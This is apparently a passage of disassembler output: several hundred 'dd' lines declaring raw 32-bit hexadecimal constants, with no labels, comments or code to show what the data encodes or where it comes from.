dd 6BFB72F0h, 4DC70E01h, 0C9476378h, 2CEC46C1h, 1748D668h
dd 0C73FFB00h, 58C3213Ah, 982529Fh, 0DDBFF85Bh, 0E98AEFD1h
dd 0E4A0F40Dh, 202EF8BDh, 6604C9E2h, 8AF58851h, 0B302BBC3h
dd 8108486Ch, 0D335AC31h, 0F6EF6087h, 2EF0A109h, 256EFC97h
dd 688F39C5h, 9F99566Eh, 5F37323Eh, 0BD4BDF50h, 29319FF9h
dd 2F5D0872h, 5FDA4E4h, 0E91F625Ch, 0A7D2D7AFh, 824AC5D1h
dd 6801DF30h, 0DF4D77CBh, 8C3FA5E1h, 6F4DE93Fh, 0E1B81F9Bh
dd 50126C5Ch, 91ABC385h, 3A3CE9B8h, 0E0CA4DD0h, 289C1C3Ah
dd 39B0684Ah, 7A8554D7h, 0AE75A1E9h, 9182D527h, 9C5AFCE0h
dd 204F84D1h, 27D9AB59h, 3992C96Dh, 228B2F21h, 7BBE5601h
dd 3002883Fh, 0C00489E3h, 0F201FD77h, 0E9E744BEh, 5EE2F8D8h
dd 43E8C517h, 816B991Dh, 4674FBE1h, 0A6F1F006h, 0E6446428h
dd 4A37920h, 1B1C6EBFh, 53AEC6Bh, 37AB33A6h, 2DE96AB0h
dd 7CD1DA24h, 4484B60Fh, 4957CF9h, 401DCDA4h, 0CF772150h
dd 7E83C127h, 20A96045h, 0C2B83AA7h, 12A7241h, 1C54AEA2h
dd 0EBA53F55h, 8BE90801h, 0A50853Ch, 2BA20F47h, 40C2ED81h
dd 0A0C02C18h, 7548F8E2h, 0A62F1320h, 7C10AFD2h, 3417A6F7h
dd 0A6D8FE16h, 8F25B554h, 0EB1B0B37h, 5D932756h, 0D164C977h
dd 0C89598BAh, 0A9F47444h, 0A03B28D1h, 5A6B6689h, 4FFF216h
dd 2A6C50EEh, 0D5D2FAC3h, 0DAAEF768h, 8C5E74C9h, 3F4F8088h
dd 315A0E92h, 395B54FCh, 38FBCF00h, 7FD6F75Fh, 0A3224E74h
dd 93B80285h, 0D0672B5Dh, 0D1E912EDh, 0B1EA21C8h, 75D49017h
dd 0C7295B0Dh, 492A96DBh, 0A22B11E1h, 0D370C498h, 74F18807h
dd 0AA9194B8h, 71FEBB16h, 6BF9E689h, 0F5726761h, 564EC710h
dd 0C20D0230h, 27A48F65h, 63D22D3Dh, 6DA5054Fh, 877A0E3Eh
dd 0E074BAD3h, 4993D1F6h, 7349D945h, 0B2FEDCEBh, 0DF015592h
dd 798BCF81h, 0EFD8721Ch, 907B7BD7h, 61FD5818h, 0E2734F2Fh
dd 474DB881h, 20A4226Bh, 0DCFAF53h, 40576885h, 5CBA494Bh
dd 37FA6019h, 0D29D47C5h, 5A088182h, 5CF4287Fh, 8587285Ch
dd 4F5E4E6Dh, 0B0B49D13h, 0F65A0BEFh, 95D4801h, 2F1875E1h
dd 5280A023h, 0EC3E5BB6h, 85BF1237h, 34EFCE34h, 8301AF1Ah
dd 67C945EAh, 0A24A7168h, 400417E2h, 922060A1h, 295D816Dh
dd 5ECA4ED8h, 411A542Dh, 785A3A78h, 7F977B31h, 0E45FC5BFh
dd 66B55B7Dh, 0C0E6B683h, 16B96114h, 1CEAF0B5h, 80F06656h
dd 92817EBBh, 0F9A02999h, 7D82FDCFh, 7878328Bh, 8DF69h
dd 0F962FA39h, 2F01BFAEh, 30269041h, 0A24B4FA0h, 7D7FC191h
dd 0D0BA0D81h, 0ED4CF731h, 261839B4h, 6B1050C5h, 0FE050B4Ch
dd 353D4Dh, 8D2D078Fh, 1E484A73h, 0F9102F3Fh, 595404A9h
dd 8105C11Bh, 0C98D7E78h, 0AF925772h, 9F00666h, 1C97411Dh
dd 21E87E81h, 7DB02B95h, 0DC311732h, 81B9D50Ah, 4698A7Eh
dd 0F53AD3AAh, 5FC1DF4Bh, 5126C968h, 9D1BE909h, 183DA3DBh
dd 4612E20Fh, 9085B54Eh, 7ECC29EEh, 1DB93900h, 0BF010C91h
dd 0CA3EA679h, 0CEFFA185h, 0C7B10206h, 5E2DC180h, 2CE887C7h
dd 4C5F59F4h, 0D12ED0D4h, 8C865613h, 5B16BA5Fh, 0F7F8771Fh
dd 19A4630Bh, 7F227700h, 18C1579Eh, 43986801h, 12CE7D60h
dd 4268FB8h, 0EC31145h, 45BB9330h, 316D24F9h, 3C5258CAh
dd 82278443h, 0A82D5E00h, 6D011372h, 51E33548h, 812A50EBh
dd 2A082EB3h, 9D308EB3h, 0A3BBE53h, 0F72DE316h, 0AE557440h
dd 929BBA7h, 0BE14E9F3h, 0E96F2079h, 0A416F7C6h, 0EB285695h
dd 0A65317FCh, 142E4C85h, 262CC48Ah, 17A418D7h, 391296EEh
dd 0C4BA5368h, 1C081A33h, 0D1F029FDh, 42F1ADBFh, 650BF9A3h
dd 4F7A769Ah, 0FC61F20Bh, 4A006AD1h, 326DF0DEh, 5AD2BF09h
dd 0F028942Fh, 0EF60672h, 182D7E6Ah, 8A21F80Ch, 7F908203h
dd 0E9F412EFh, 50E881BDh, 4D7ADC56h, 0F7800ED2h, 2C5BD930h
dd 1056CB28h, 56552F83h, 3B03711Ah, 0C5B86EC8h, 0E9AE6855h
dd 0DA4D24AAh, 5EF3288Ch, 2E3B93Bh, 0CBE95455h, 0BD012AD0h
dd 3A7D62C0h, 0C22EEDD1h, 5F04D085h, 0F0798DEAh, 0C399B3E5h
dd 932D4231h, 0C5E05303h, 0BCD3D888h, 46701BBh, 0C1E92C8Ch
dd 0DA12AD0h, 0C4930DBCh, 57F9889Eh, 3B156805h, 0D3C27D29h
dd 0BF8250C6h, 2CC45AD1h, 0AF57E505h, 0EB529E33h, 0E9D7F8F2h
dd 0A90D58F0h, 277F8B4h, 765EA068h, 0EDD68034h, 4CF826D2h
dd 6A004579h, 68B7DFDBh, 37AA2455h, 0E2A1E2C0h, 94807F82h
dd 2A6866AAh, 5BCB1A74h, 506D02B1h, 9BE72D2h, 0D36F92B8h
dd 66CCC0E0h, 992DD082h, 0FE690A7Dh, 0CBBD6084h, 25F6054h
dd 429CF160h, 310D16F7h, 4040F3DDh, 3175D80h, 77B87CB6h
dd 0E3205058h, 34BA660Fh, 0CC582414h, 0DD2144FEh, 4965AF94h
dd 7C98D8BBh, 5C1C8BB7h, 0A0745A4Dh, 0F31E16B6h, 90F2887Fh
dd 7F430F62h, 202A794Ah, 26200084h, 0F2810514h, 0F1140738h
dd 128A2977h, 34A40A41h, 0EC4C1755h, 6541FA47h, 6FED3084h
dd 10F40C83h, 0EBE0415Ah, 44FC1B35h, 7A418EB8h, 0C104AB29h
dd 0AE32BC5Eh, 2DE96CA0h, 317E6A49h, 0B7D05270h, 67F682A2h
dd 44AC0C3h, 5ED6021Eh, 3B8651D0h, 9EC320E9h, 0F106E990h
dd 2EF65145h, 93B9090Ch, 0A748438h, 4770F030h, 0D6166575h
dd 6CC87DCh, 0EB51D601h, 2B422108h, 0B692CC8Ah, 0C2BA1063h
dd 0FAAFF44Fh, 0BFC9839Fh, 68608171h, 8118007Bh, 0DC117EE7h
dd 47D5145Fh, 0C702FBE8h, 5BE135A7h, 0F97E77Fh, 94241305h
dd 79F8C22Dh, 0E7EAC003h, 744F3582h, 2B58C766h, 8342655Ch
dd 0E0570D49h, 0A097E871h, 69C2F2ACh, 0EA6AB02Ah, 43361391h
dd 593F08C9h, 0F7D12809h, 77297109h, 542731E5h, 0D466C4D8h
dd 0A4E3ABCFh, 0C27EF892h, 0D435DF68h, 0EC1962FDh, 57F30102h
dd 884B3251h, 212C502h, 82F558ECh, 68017329h, 0D87B7EAAh
dd 0D7000EB9h, 2047C742h, 1D052BD9h, 0EB7729A7h, 67C18F38h
dd 8D10686h, 20EF6FEEh, 0ED4096E4h, 0B60A5F8Bh, 0F4474BCh
dd 0B8624054h, 6D60B907h, 6F200518h, 30D1BA5h, 71CC76BCh
dd 29589BE9h, 35E60BF0h, 44B485D7h, 171000E9h, 53591391h
dd 0D93C600h, 45F3194h, 0DF216FBBh, 93ABC648h, 5C27019Ch
dd 66D57282h, 6FC22129h, 8DA885ADh, 676FDC29h, 177C788h
dd 0DB0117B5h, 889EFC2h, 29259845h, 7C805D3h, 0ADD806BBh
dd 0F702635Eh, 6C9D1EB9h, 7665FD29h, 6C9075A5h, 0E9252347h
dd 5E59F806h, 0D7BC6159h, 0DBC2042Dh, 0F70803C5h, 88E4B9h
dd 0A50B5BFh, 0C7317B68h, 8D3EF54h, 0D4AF01B2h, 4BF890C4h
dd 13FB3817h, 0B21C4469h, 0E3B0BA73h, 5501971Fh, 0CD51FBBBh
dd 0CF2A3049h, 0D884E716h, 894ED304h, 177BB7CDh, 8D042232h
dd 0CA682660h, 0CACC445Bh, 0C14740ADh, 0B198EB79h, 0FCBDAC05h
dd 3EC73168h, 18C7E9C4h, 337D8640h, 0D7514EFFh, 9402D4EBh
dd 0F7B2AB17h, 0D534AF92h, 0F171B382h, 92DECF30h, 0F7A046FCh
dd 49B51576h, 5DD88976h, 0EBF95829h, 954DCA22h, 0AD463FDAh
dd 0BA5CA4Ch, 0F281F6ECh, 0CAC24076h, 0D70101CDh, 9DD12A5Ah
dd 8004D319h, 0FD7A0A3Dh, 0E8317F09h, 45E9545Dh, 0A7EEEC89h
dd 0A36C0988h, 0DD123773h
dd 620342C0h, 69169638h, 0A768EDB0h, 438A6313h, 0EB6E2CBEh
dd 9C61FB05h, 0ECA15333h, 8BD1F52Bh, 74BA2362h, 685C41B8h
dd 9E136A49h, 1C41AADh, 9489F9CEh, 21BB93D6h, 9646A492h
dd 0C0F9FA4Fh, 0F6C0F02Fh, 5697EA81h, 0EDE125B0h, 80EC5043h
dd 2C0EDDF7h, 0E1C0492h, 5300DDF8h, 0B742B652h, 0EF8009AEh
dd 98022839h, 925FC76Fh, 0B547C14Ah, 3BEC13B0h, 9849E37Eh
dd 68A61090h, 80F50F70h, 0D24BFEC5h, 7427887Ch, 0C348EBD8h
dd 0E91A5356h, 4027B520h, 0EAF8BF02h, 6030E731h, 0CEB7C7E4h
dd 0CDEE3044h, 3DB0F428h, 32BDE6E8h, 0F5810BA9h, 8FFE8429h
dd 8940F420h, 53CC0FFEh, 0DCC7A3B3h, 1BE7D65Bh, 0E22943B7h
dd 562C034Eh, 0D5E1D082h, 320B7E5Ah, 69AB57DDh, 18C23C7Dh
dd 0CBCB51E9h, 7C5EB168h, 5F712488h, 92D6E96Dh, 0F820ED82h
dd 0D122BD38h, 68015ABAh, 307E1B77h, 0B25360B8h, 2BF2D4Ch
dd 3E8F5D7Bh, 7CFB4152h, 0C2BED12Ah, 6A93F460h, 454E94F8h
dd 57988C90h, 813D0180h, 0DC77ABC9h, 49163011h, 0C2238812h
dd 1B29C3A1h, 0FE616485h, 16E443Ch, 2D1EAD13h, 30B6566Ch
dd 7A40A9C6h, 2E628C0h, 0B873D6h, 526609C6h, 12454F6h
dd 0E6C9E0B5h, 60E7AADDh, 815DF532h, 97DA3D57h, 8933DEDh
dd 0F02DCA9Eh, 0E98FF068h, 775F1096h, 74A7F149h, 1AD6EEBAh
dd 0E91308A0h, 8540512Fh, 8048B753h, 0FECD07E7h, 73D7F6C7h
dd 147B2ACFh, 0FDB0501Fh, 1524C847h, 0FC7202F9h, 6FD40B9Dh
dd 6C075EEBh, 4627680Dh, 253CE635h, 8044EF19h, 0BD5CC730h
dd 0B460D05h, 0C529F32Ah, 6AEBEE02h, 0DDD75D05h, 0F08A94h
dd 0C383244Bh, 5D7080Fh, 0B3BB14C0h, 7AE9341Bh, 0FD978522h
dd 24A79401h, 3D40DEBCh, 763ED44Ch, 991A229h, 0A39F0308h
dd 5E9D4AAAh, 0C5E39725h, 880FF30h, 30D5B6C8h, 81B231ADh
dd 6B02D4EDh, 9EE97750h, 0E990DF69h, 0C98565Ch, 0D2205248h
dd 5B8CD901h, 0EFE4471Ah, 5968145Dh, 7A816825h, 0A7702328h
dd 2D65070h, 0EE6EA305h, 0DAC40194h, 0AB8DE913h, 0D6DEAAFDh
dd 5E784503h, 871A8521h, 0C118014Bh, 607BFC01h, 2F7C5AAh
dd 90BAF3B3h, 3DA7638Ch, 0F1B385FBh, 14AB8045h, 2470CE82h
dd 0CD0E1F4Eh, 4404B3EBh, 5C0B4A18h, 0D62C105Fh, 0D7F48A43h
dd 18FC701h, 0F7CD6B87h, 5C088EA0h, 6F2D635Eh, 65082965h
dd 83AD03D5h, 0AA84207Fh, 385F7C2h, 2B826852h, 2822314Ch
dd 0FDD14ABAh, 0E4A013C6h, 5456E131h, 44947289h, 115B05Fh
dd 0A8916DAh, 9770E95Ah, 0ED4A2A7h, 68EF5F30h, 149B2BACh
dd 0E8190439h, 5BA476Dh, 0FBA426A3h, 51064ECAh, 0F94C8268h
dd 97DCBB20h, 8442CCF9h, 27AF84C8h, 10F65B4Bh, 825F3F58h
dd 76AFCE02h, 62D90102h, 0C390FD78h, 0BAA85016h, 351642CBh
dd 95B15DA6h, 11FC300h, 132EED90h, 0EB4B007Ch, 2138574Dh
dd 0E86C0E97h, 84C2453h, 0EA8BBF7Fh, 0E09BF808h, 5975E124h
dd 0ED44248Dh, 998EFE8Bh, 51AB9C72h, 8002B921h, 71074E53h
dd 6818CF01h, 5DE15F1Eh, 587E97EEh, 0E6EFDFE2h, 40D5F0DCh
dd 0D32F3103h, 0EC28705Ah, 5D7297C3h, 90428520h, 0F169747h
dd 0E9869097h, 73B16442h, 0A196BFC5h, 0ADDA970Ch, 0D8EC9183h
dd 5E5E10D5h, 979FEBB3h, 0E145FA68h, 0BE87885Bh, 5E586C55h
dd 2739BB8Eh, 5BF601B6h, 44AF5D9Dh, 0C80F82F8h, 2E7137B1h
dd 10573C23h, 0B3B800ABh, 531ABF22h, 4B905BBh, 41290CCBh
dd 0C0E9C682h, 0B8752FB2h, 2F0E1001h, 8F7D4BC5h, 0D7320841h
dd 0A9F33E12h, 0EE929EC5h, 774EC0F8h, 0BF57E00Ch, 0E4286839h
dd 6B408A3Bh, 5AD13429h, 51E0BB1Ch, 4DF95801h, 0FAEC9F2Dh
dd 0C613022Fh, 7DC025EDh, 5A449D51h, 271E9CAEh, 4CC9080Ah
dd 17BCA652h, 40BB3771h, 6BCAF2FAh, 8BD67058h, 5B9C0A01h
dd 969F1F42h, 17494F94h, 0BFBACF87h, 0DF092249h, 87F22277h
dd 48C5F541h, 0B675749h, 954FC82Dh, 9277A4A2h, 0B2B3C14Dh
dd 2B50092Ah, 681293F9h, 0B685295h, 356D4E73h, 0B14C1C10h
dd 67AE4E10h, 0C99346D4h, 0ABA3B4C8h, 0B5F25F28h, 0DB415ECAh
dd 0C9222F66h, 20E764D2h, 2C2D40EFh, 4BBA7053h, 0EBD290C9h
dd 0F53B702Bh, 1EF30059h, 53150D6Bh, 9B017368h, 57050286h
dd 0AF74084Eh, 0BB37725h, 75E9100Ch, 4ED5962h, 2A1DDCECh
dd 2C6AB089h, 80286941h, 0BBEC941h, 5EF68B93h, 0E692FB99h
dd 3073A3BAh, 0ACBD550Ch, 61F90039h, 276AE581h, 0F5EC53B5h
dd 2641106h, 2784D3Ah, 6C4373D8h, 0CFE0D5F7h, 0FB65349h
dd 0D6EF4169h, 59CFBE32h, 6735E0D2h, 0CEC981E3h, 40F16B3Eh
dd 0E77E6D8h, 0C1476972h, 0DEF704C3h, 2020A3Fh, 8E19C6EEh
dd 204AF8BCh, 524AC773h, 89949971h, 9F775369h, 4B9F6466h
dd 0C880DA73h, 4E40689Eh, 8BA43265h, 0D62DDF5Eh, 445D5A2Ch
dd 3FF620BFh, 7A38297h, 0DBBB0059h, 4E5AA22Ch, 30D12CE0h
dd 3DC681EFh, 0E92568A9h, 82F308F9h, 9DC78713h, 75BB0C45h
dd 0E120FB7Dh, 2236857h, 0E94C3E18h, 7FDA9DEAh, 0C2FD22F8h
dd 0AC31FB5Dh, 4B2B0220h, 0FC04E7Ch, 3408AE9h, 0A1D6955Dh
dd 0E3856C5Ch, 770BFAC0h, 0A896F43h, 0AD08BC6Eh, 48CF20F6h
dd 0A405EC05h, 0A2FE97BBh, 8E912C1h, 48B89852h, 2FBE5601h
dd 6A73521Eh, 0A51CB1D1h, 0DE921E06h, 6C6B4F09h, 50F44C42h
dd 955E0CEFh, 0E90530F9h, 8EAE7DCCh, 484D50A0h, 0B82E5C41h
dd 230BDFBCh, 0B10190ACh, 0E87397E2h, 16242C44h, 4F38BB93h
dd 5F7FC9FDh, 37B0CE57h, 0FAE1D9A2h, 48005BBDh, 2D33358h
dd 0C9B6B0E9h, 7700462Ch, 250D4964h, 0D892C3F8h, 46A8664Bh
dd 7F681F74h, 526E570Fh, 9F77EBD3h, 0FDE778D2h, 89B68499h
dd 55EA0830h, 32C9671Bh, 1DF23ADBh, 567C4206h, 0BA024CEBh
dd 2908241Dh, 0A59E2F2h, 0C085D08h, 0C2303F5Dh, 0F57ABC1Ch
dd 94286B5Ah, 1F049901h, 377F5AE9h, 0D78C53D0h, 1984BC88h
dd 0E93DE206h, 0A4DB3E46h, 8185FC26h, 0A475FEF6h, 849157ADh
dd 0E36E1E54h, 7DC7807Ah, 0C215CD47h, 8501F30Ch, 4313F750h
dd 0C3021876h, 0DE09E9DFh, 0A5BA16C2h, 47ED2E23h, 9A020B6Bh
dd 0A2ECEAC7h, 0A3A1E85Bh, 1D33132h, 4D496C53h, 26EBE55Ah
dd 0F44B2525h, 32DC82D8h, 8D416721h, 70FAF5B5h, 0FD4572BDh
dd 0ED76007Ah, 50CF4BE8h, 0C59F297Dh, 41E685E3h, 0D6F1042Fh
dd 5B0500EBh, 0B5278B7Eh, 0DBB776FAh, 1753A852h, 0EC092E48h
dd 28074155h, 3D83C5EAh, 0ABD2CDECh, 2708E035h, 0F4003A56h
dd 0C0D4F65Ah, 0F09D06ECh, 9C87059h, 0AFBAE9DCh, 6476B610h
dd 0FD585F8Ah, 34724009h, 9CC40511h, 0D52F1404h, 7F805E09h
dd 774D74A4h, 0DF45F890h, 3913022Ah, 9848080Ah, 5F2C5242h
dd 5022313h, 0C00B9129h, 257E752Fh, 0A64220CDh, 9EB75540h
dd 0D8942F2Dh, 0A6FCF352h, 42B52873h, 7FA23EB6h, 8055C312h
dd 497BE91Fh, 55058E0h, 29985D06h, 0B7218182h, 0D8685051h
dd 2004861Ah, 0D8F74058h, 7AC85E0h, 894F1917h, 38BFD0C1h
dd 254EC23Dh, 680284BDh, 1AD06F03h, 54004454h, 0E999016Dh
dd 5EFE5BFCh, 0E72D0760h, 45F8B210h, 938E8D5Ch, 0F774E23Fh
dd 0C68381D6h, 5DC847DEh, 5EF20521h, 0E06CE942h, 117C6881h
dd 2E62079Ch, 0FAF4094Fh, 0ACD05F82h, 0CCEB1114h, 152D9A36h
dd 0C975E66h, 0B8329588h, 637D3Eh, 36C3813Fh, 0DA491E42h
dd 8053638h, 0F0F10258h
dd 0E1C09F68h, 25272AE3h, 28456DFh, 28567EBCh, 11E5F06h
dd 2B7D6D31h, 988454E9h, 68DA5C68h, 8C4B4BFAh, 59975892h
dd 0E3E94199h, 0BE36818Eh, 0C027F86h, 80B7CD60h, 0DF27685Eh
dd 202A463Ah, 0D90B4E7h, 79259799h, 17E98440h, 0F2CABA46h
dd 83186158h, 0ABE074C0h, 5D93DB96h, 53C7C271h, 68C68001h
dd 0FE061D7Bh, 2EE00BCh, 93E9F128h, 9C8AB6B2h, 0E6EB175Ah
dd 2DE90C25h, 9C2A742h, 65696D19h, 5C6B23DFh, 0C61D2FB3h
dd 93BDDB5Ch, 0B44BA8C5h, 2268F8CFh, 2EFCB6C1h, 129C5317h
dd 331EC02h, 0EFF98051h, 9488CBE9h, 6CCD8188h, 0F1474A10h
dd 250D78D2h, 44DA1E59h, 3B4E6B89h, 0B22A1489h, 0F4AFA48Ch
dd 0B849E952h, 77244854h, 5359h, 93BA524Dh, 6946CA12h
dd 0DB54F801h, 797CED81h, 2D30FC67h, 6C628247h, 0A51E5B57h
dd 0E958547Eh, 0B5DF921Fh, 5B903CF8h, 878B70Fh, 5EA5C4F9h
dd 44B3580Bh, 10DD60E2h, 9545DD87h, 0EBE501F4h, 895CD849h
dd 896A9A20h, 0A5C25722h, 0D50E980h, 6BE30178h, 36742516h
dd 59A391D0h, 10B163Ah, 6C34AF74h, 41080C10h, 0ABFBAC26h
dd 6EB7E413h, 84F45035h, 741BA9BAh, 0DF0103C9h, 0A2562382h
dd 4D8A7709h, 6CD6A59Bh, 6370C281h, 0F2D837A0h, 8A09039Ch
dd 1EA837Fh, 22A4255Eh, 0E06D5A7Dh, 350E05EBh, 8117F855h
dd 20F23C60h, 1A6F71E4h, 7629E2C0h, 0C68B9D5Ch, 93F27902h
dd 7F4DEA66h, 802B8D41h, 6C5D405Fh, 0CB012613h, 2C083610h
dd 8E109C59h, 6225044Fh, 5A5A09BDh, 979FB0FFh, 0B60823F9h
dd 0A3680558h, 0C4C2E850h, 9B31A47h, 0C4BAAD5Bh, 1F16E663h
dd 0C015D28Dh, 117D0D44h, 2D35C60Eh, 14A047D7h, 44D5A3F2h
dd 72B09D1h, 4F6FCDEh, 0F2B2FD25h, 62422F61h, 0D22C0496h
dd 0B0A9F028h, 128C5284h, 32168FFEh, 0F6BBC75Ch, 0CCBA404Eh
dd 614BFD35h, 142348F0h, 0DCA89503h, 47E0022Dh, 4BB8DA87h
dd 8F908D3h, 54C4017Fh, 58E9746Fh, 0F5016E4h, 19A242E7h
dd 0EFBB0284h, 43FD3344h, 0BD66FF8Ch, 0F8512B41h, 0B392F388h
dd 0F5CD63B7h, 0E52222C8h, 0A6E33597h, 0C7F05AFBh, 19965D35h
dd 4609AA95h, 6609301Bh, 0BD47E12Eh, 1705F273h, 15BC6C60h
dd 780ABE26h, 44B93100h, 5BBBE9E2h, 0E5F8B5F1h, 1BBA00AEh
dd 0C4F262Dh, 78720E7Bh, 5E747929h, 2638CF85h, 0DF6EDBFDh
dd 0C0AA0114h, 7AA59BBh, 806610Fh, 0E0A9A7D9h, 788060DDh
dd 2518C42Eh, 0ED7D04C7h, 4473804h, 280F66B2h, 0DE9D18B0h
dd 0CF8EE608h, 8387C20h, 8B804A76h, 91B9806Eh, 1EE928C4h
dd 10909706h, 8D0FD31h, 188C4024h, 0D085027h, 40530540h
dd 21C6471Bh, 3330F3CBh, 3208E9C7h, 0D318C8F7h, 0C6E46B10h
dd 183D9008h, 20DA5820h, 1E318186h, 0FD9608DDh, 18E8C01h
dd 0BD01C2B2h, 0CF388C46h, 8092917Fh, 1A817E55h, 98A09451h
dd 8C64C401h, 18558908h, 88CF7C6h, 0ED188215h, 630EC540h
dd 0ACD107Ah, 9810082Ah, 31046520h, 472886D2h, 0D4BA012Dh
dd 0C6D6108Ch, 3663B308h, 152B4918h, 849C8008h, 13317620h
dd 910408F9h, 0B2962088h, 109A6E0Ch, 0C9B7406Dh, 69A72A40h
dd 398C0858h, 5B63A308h, 2ADFE520h, 65CCCF08h, 4487E1DBh
dd 0CCD7198h, 92AD1108h, 0CFE5200Ch, 20585320h, 0FA206AB7h
dd 3ECC2096h, 18DFDB7Fh, 0C2313050h, 14F8B09h, 0B9018918h
dd 0A2288895h, 8732080Bh, 18EFDC0Ch, 89B637Fh, 181876CDh
dd 6B084BA8h, 0C418C44Eh, 0F1860C8Bh, 17384012h, 0A6206963h
dd 0D5084CF8h, 7EF90862h, 3B3BE02h, 30105FC5h, 2519F0A1h
dd 88E21077h, 87DE931h, 500C616Dh, 922D08B0h, 3CAB3114h
dd 102AD08h, 0C6045180h, 60310806h, 4F5C30A0h, 417C0899h
dd 0C6188F1h, 0CB36384Ch, 1206909h, 0C96E32B5h, 0B4A22208h
dd 0F70643AFh, 67393111h, 8A09A808h, 80637118h, 132AE390h
dd 0BC765498h, 0C459C670h, 3B201056h, 0F54C3168h, 8A4D2F08h
dd 0F8841618h, 31157290h, 0B162D05Dh, 3303FBD3h, 0E818245Bh
dd 98128858h, 8550208h, 0D08576Fh, 0E9060814h, 81C1508h
dd 580CAD43h, 80B93182h, 0FB802637h, 0FCF9D578h, 6FE19531h
dd 622D01EEh, 8CF21301h, 893D410h, 184263CCh, 8194C8Ch
dd 90416DEBh, 54484902h, 8CA94C5h, 6082E044h, 64E8FC9Ch
dd 182CB0A4h, 3E49E4EFh, 0C8F1C78Bh, 10C046FCh, 752C473Bh
dd 13EB1802h, 0A7B90E89h, 5803DDEh, 408F4401h, 0C90B0549h
dd 0C78BF775h, 0DE811ED7h, 62B9F003h, 0C0331EF4h, 4FB10F03h
dd 0AC2C1630h, 0AE631252h, 0A2EBA5D4h, 5C59C906h, 86B1D3A5h
dd 89648903h, 0C2ABECC7h, 5178398Eh, 6C1AFDC0h, 0E9268E04h
dd 9DBE96D9h, 1835BF93h, 534E0F7Eh, 3C2C0768h, 0C25B029Ch
dd 1855FBAFh, 7D38ABB8h, 1F295A91h, 0C4414C8h, 31001490h
dd 0E946217Bh, 5AD208F2h, 0AE5BD4FEh, 32C63BA7h, 71B5DC13h
dd 0CF84591Ch, 5C5C102Fh, 82E95890h, 2CBB704Ah, 422F6814h
dd 36C5C656h, 2C792BFAh, 0EEB87E95h, 16B34A70h, 690FE9C3h
dd 27B80A02h, 0F51B332Eh, 0AF1815E0h, 48EFC1C0h, 0B8056376h
dd 68AD09AAh, 958EAD5h, 0F3D8E897h, 0E6311FAFh, 0B2D9131Fh
dd 0D6E9CB29h, 52F2D3C4h, 0F1819FA3h, 34862890h, 0FD4558BDh
dd 0C59D3FFCh, 0A33D9BFFh, 2CB505A1h, 80EB4F98h, 448D75B4h
dd 0C1BF297h, 0D73EEAC3h, 6E01F356h, 578632E0h, 172EDF89h
dd 0FF8C099h, 714BB54Eh, 0A1ED89F0h, 0F5E9E908h, 9314413Fh
dd 7B325228h, 0F9E2C3C7h, 0A96CDDADh, 0C42CFD35h, 0AAD461AFh
dd 0E1C97E08h, 0D2F15AE0h, 97B1AD10h, 47843CACh, 0B95100FEh
dd 4A118C82h, 0F53345D9h, 4424EA0Dh, 2ACD5FADh, 81493B3Bh
dd 7C82F80Dh, 295F6F29h, 4ED25E6Eh, 10EC32A9h, 590BBF35h
dd 76010B61h, 0DBDC2F1Fh, 0ADE83C65h, 4904F703h, 0B8D40616h
dd 335A1A1Eh, 3DB357F2h, 0AD3B69E1h, 0BAD97C18h, 1F8EBF03h
dd 0D2FB5A63h, 829364Ah, 3F068ADh, 0CB274C0Bh, 12AD55Dh
dd 0DA32364Dh, 9DCED95h, 0F2741E9h, 0B396354h, 1E880C4Fh
dd 0E8784B86h, 1268E1C6h, 9F4F37Bh, 0D4D01CE9h, 6FDF859Fh
dd 2C70AB6Dh, 0A6E113E9h, 66571CC7h, 0F8688750h, 0E84B6D09h
dd 0F9F5A0BDh, 0FE912A31h, 9241DF2h, 0C1C7F6F8h, 1E685708h
dd 768C3A1Ah, 0B62EFFA5h, 5FBA4BBCh, 1CBDD399h, 71B624EAh
dd 175008C3h, 0DA5726E9h, 0E971AA0h, 2BEA821Fh, 43605FC9h
dd 1A2F56A4h, 0E3C6F471h, 21895C58h, 0DAC48D1h, 833E5941h
dd 0AA8C3AC1h, 63F7B747h, 90AF6705h, 465BC33Bh, 0C35D7A2Fh
dd 4804BA31h, 4F65A20h, 80CF86D1h, 0ACE9C1C7h, 9FB4512Ah
dd 0B6FC2A2Bh, 0D30D46C4h, 0B806FAD0h, 6DD654AEh, 5BA60B0Ch
dd 2407741Eh, 4617A2E4h, 0EB7A00FFh, 502D111Fh, 0BF3105B9h
dd 89D17AC0h, 252F67E7h, 887B608Ch, 83E1B7EAh, 0BF108155h
dd 2FD87985h, 2FABC060h, 0D500B618h, 42576B48h, 22F8E909h
dd 0C1351301h, 0BA013236h, 113922FEh, 142C1826h, 6E37ED6Dh
dd 2D408CA4h, 0C474011Bh, 5C935D69h, 22330F9h, 0CDDA8053h
dd 4B315C2Fh, 88FB80F7h, 5E26188Dh, 4B1E2089h, 3BD66B4Ah
dd 2A0BD2A0h, 0D63BF96Ch, 0B6E906E7h, 4D7622D2h, 0C36A135h
dd 0C958CDEAh, 486C41DCh, 7F810428h, 0CA5DF9Bh, 0F48C95C5h
dd 0E65EC40Ah, 0AC5861C7h, 2E927AFCh, 4AD5D01h, 0B9811A28h
dd 105DA7C9h, 4DEF200Ch
dd 416A2217h, 681C3FFCh, 6F39266Eh, 92354324h, 0DC41F306h
dd 0C380003Ch, 0F06CE64h, 0EB3ABC1Dh, 6CB25280h, 0E951E2D0h
dd 0E1993772h, 0E6B05087h, 10C07B1h, 0C23E777Ah, 94C85295h
dd 94726B71h, 5800C5FAh, 0AD455A2Dh, 51E80121h, 0AD300705h
dd 89ADC8F6h, 61FB598Bh, 0C2C084FDh, 8DB6D409h, 3BC10B73h
dd 65007C55h, 21A5716Ah, 8702EEF8h, 1319F66h, 8C44C0DEh
dd 62820518h, 0AD8065E9h, 2A6E0532h, 0C5040EAFh, 0BC1714BDh
dd 792010D7h, 5544257Ch, 0C4A569EDh, 10AB31D8h, 89BD6335h
dd 0D1FAFB0Bh, 0FDA742D7h, 0A0E85157h, 69BA69C9h, 8B2B81A2h
dd 4498510Bh, 970EA51h, 0AE5896E9h, 65A425F1h, 0C1E22DDCh
dd 64805DEAh, 70D131CDh, 59BD7790h, 0CA5D492Bh, 7EF35CA5h
dd 5AC45C4Fh, 0F5FF45BBh, 17CBE332h, 0D237263Dh, 0B0D6182h
dd 0D82D8BDFh, 878602BAh, 0F0298DA3h, 1D0B5F0Bh, 14CC55DCh
dd 9B70DBEh, 442A7942h, 0E8E152EBh, 23F05EC4h, 51D40BCBh
dd 4676E2B5h, 0D23F780Fh, 0B21467FFh, 0A4E81645h, 0BA12EEC5h
dd 750CCE4Ch, 0E2EDF3A7h, 6CBC3006h, 0DE58430Ch, 0FD2DF602h
